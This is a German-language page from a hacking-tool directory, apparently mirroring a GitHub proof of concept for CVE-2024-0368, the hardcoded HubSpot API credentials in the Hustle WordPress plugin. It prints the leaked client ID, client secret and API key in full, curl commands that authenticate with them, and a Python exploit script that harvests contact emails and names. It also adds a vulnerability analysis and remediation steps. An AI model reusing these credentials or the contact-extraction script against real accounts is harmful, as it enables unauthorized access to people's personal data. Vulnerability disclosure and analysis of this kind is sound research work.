Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-0368 — Hustle Plugin <= 7.8.3 enthält hartcodierte HubSpot API-Anmeldedaten in inc/providers/hubspot/hustle-hubspot-api.php | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2024-0368
SchwachstellenanalyseExploitationInformationsbeschaffungWebsicherheitSecret-ErkennungLernen & Bildung
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustle Plugin <= 7.8.3 enthält hartcodierte HubSpot API-Anmeldedaten in inc/providers/hubspot/hustle-hubspot-api.php

Repository anzeigen
1vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-0368

Hustle Plugin <= 7.8.3 enthält hartcodierte HubSpot-API-Anmeldedaten in inc/providers/hubspot/hustle-hubspot-api.php

Zusammenfassung der Sicherheitslücke

FeldWert
CVE IDCVE-2024-0368
TitelHustle <= 7.8.3 - Offenlegung sensibler Informationen durch exponierte HubSpot-API-Schlüssel
CVSS-Bewertung8.6 (Hoch)
Betroffenes PluginHustle - E-Mail-Marketing, Lead-Generierung, Opt-ins, Popups (wordpress-popup)
Verwundbare Versionen<= 7.8.3
Gepatchte Version7.8.4
Art der SicherheitslückeCWE-200: Offenlegung sensibler Informationen

Technische Analyse

Ort des verwundbaren Codes

Datei: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

Offengelegte Anmeldedaten

OAuth-Bereiche (Potentieller Zugriff)

Die hartcodierte OAuth-Konfiguration forderte die folgenden HubSpot-Bereiche an:

  • oauth - OAuth-Authentifizierung
  • crm.objects.contacts.write - Kontakte erstellen/ändern
  • crm.objects.contacts.read - Kontaktinformationen lesen (PII)
  • crm.lists.read - Marketinglisten lesen
  • crm.lists.write - Marketinglisten ändern
  • crm.schemas.contacts.write - Kontaktschemata ändern
  • crm.schemas.contacts.read - Kontaktschemata lesen

Erklärung der Sicherheitslücke

Ursache

WPMUDEV hat die OAuth-Anwendungsanmeldedaten für das eigene HubSpot direkt im Plugin-Quellcode hartcodiert. Dies stellt einen Verstoß gegen sichere Entwicklungspraktiken dar, da:

  1. Öffentliche Offenlegung: WordPress-Plugins sind Open Source - der Code ist öffentlich im SVN-Repository von wordpress.org verfügbar
  2. Massenverbreitung: Das Hustle-Plugin hat über 100.000 aktive Installationen
  3. Geteilte Anmeldedaten: Alle Plugin-Installationen teilen sich dieselben API-Anmeldedaten

Angriffsvektor

Ein Angreifer könnte:

  1. Das verwundbare Plugin von wordpress.org herunterladen
  2. Die hartcodierten Anmeldedaten aus dem PHP-Quellcode extrahieren
  3. Diese Anmeldedaten verwenden, um sich bei der HubSpot-API zu authentifizieren
  4. Auf das HubSpot-Konto von WPMUDEV und alle Daten, die über deren Integration verarbeitet werden, zugreifen

Potentielle Auswirkungen

Mit gültigen Anmeldedaten könnte ein Angreifer potenziell:

  • PII lesen: Zugriff auf Kontaktinformationen (Namen, E-Mails, Telefonnummern, Adressen)
  • Daten ändern: Kontakte in HubSpot erstellen, aktualisieren oder löschen
  • Zugriff auf Marketinglisten: Marketinglisten anzeigen und bearbeiten
  • Datenerxfilterung: Abonnentendaten von Websites extrahieren, die die Hustle- + HubSpot-Integration verwenden

Proof of Concept

Schritt 1: Verwundbare Datei finden

root@kitploit:~
# From WordPress installation
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

Ausgabe:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

Schritt 2: API-Schlüsselzugriff testen (Kontakte)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

Hinweis: Zum Zeitpunkt des Tests wurde der API-Schlüssel rotiert/abgelaufen (erwartet nach der Offenlegung):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

Schritt 3: OAuth-Ablauf testen

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

Antwort: Die Anmeldedaten wurden ungültig gemacht.

Exploit-Skript (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

Überprüfungsergebnisse

Umgebung:

  • WordPress: Läuft auf Docker
  • Plugin-Version: 7.8.2 (verwundbar)
  • Verwundbare Datei: Vorhanden bestätigt mit hartcodierten Anmeldedaten

Status der Anmeldedaten:

  • API-Schlüssel (HAPIKEY): Abgelaufen/Rotiert (nach der Offenlegung)
  • OAuth-Anmeldedaten: Ungültig gemacht (nach der Offenlegung)

Fazit: Die Sicherheitslücke ist bestätigt - die hartcodierten Anmeldedaten existieren im Quellcode und waren zuvor ausnutzbar. WPMUDEV hat die Anmeldedaten im Rahmen der verantwortungsvollen Offenlegung rotiert.

Behebung

Hersteller-Fix (v7.8.4+)

Der Patch entfernt hartcodierte Anmeldedaten und implementiert eine ordnungsgemäße Speicherung der Anmeldedaten:

  • Anmeldedaten in die Datenbank-/Umgebungskonfiguration verschoben
  • Benutzer müssen nun ihre eigenen HubSpot-API-Anmeldedaten konfigurieren
  • Keine gemeinsamen Anmeldedaten zwischen Installationen

Benutzerempfehlungen

  1. Sofort aktualisieren: Upgrade auf Hustle 7.8.4 oder später
  2. HubSpot neu konfigurieren: HubSpot-Integration mit eigenen Anmeldedaten einrichten
  3. Zugriffsprotokolle prüfen: HubSpot auf unbefugten API-Zugriff während des verwundbaren Zeitraums überprüfen

Zeitplan

DatumEreignis
2024-01-05CVE-2024-0368 veröffentlicht
2024-03-08Patch in Version 7.8.4 veröffentlicht
Nach der OffenlegungAnmeldedaten von WPMUDEV rotiert

Referenzen

  • Wordfence-Hinweis
  • WordPress-Plugin-Änderungssatz
  • HubSpot-API-Dokumentation
  • NVD-Eintrag

Generiert für autorisierte Sicherheitsforschungszwecke

Tool herunterladen
AnmeldedatenWertZweck
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bOAuth2-Anwendungsidentifikator
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaOAuth2-Client-Geheimnis
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aHubSpot-Legacy-API-Schlüssel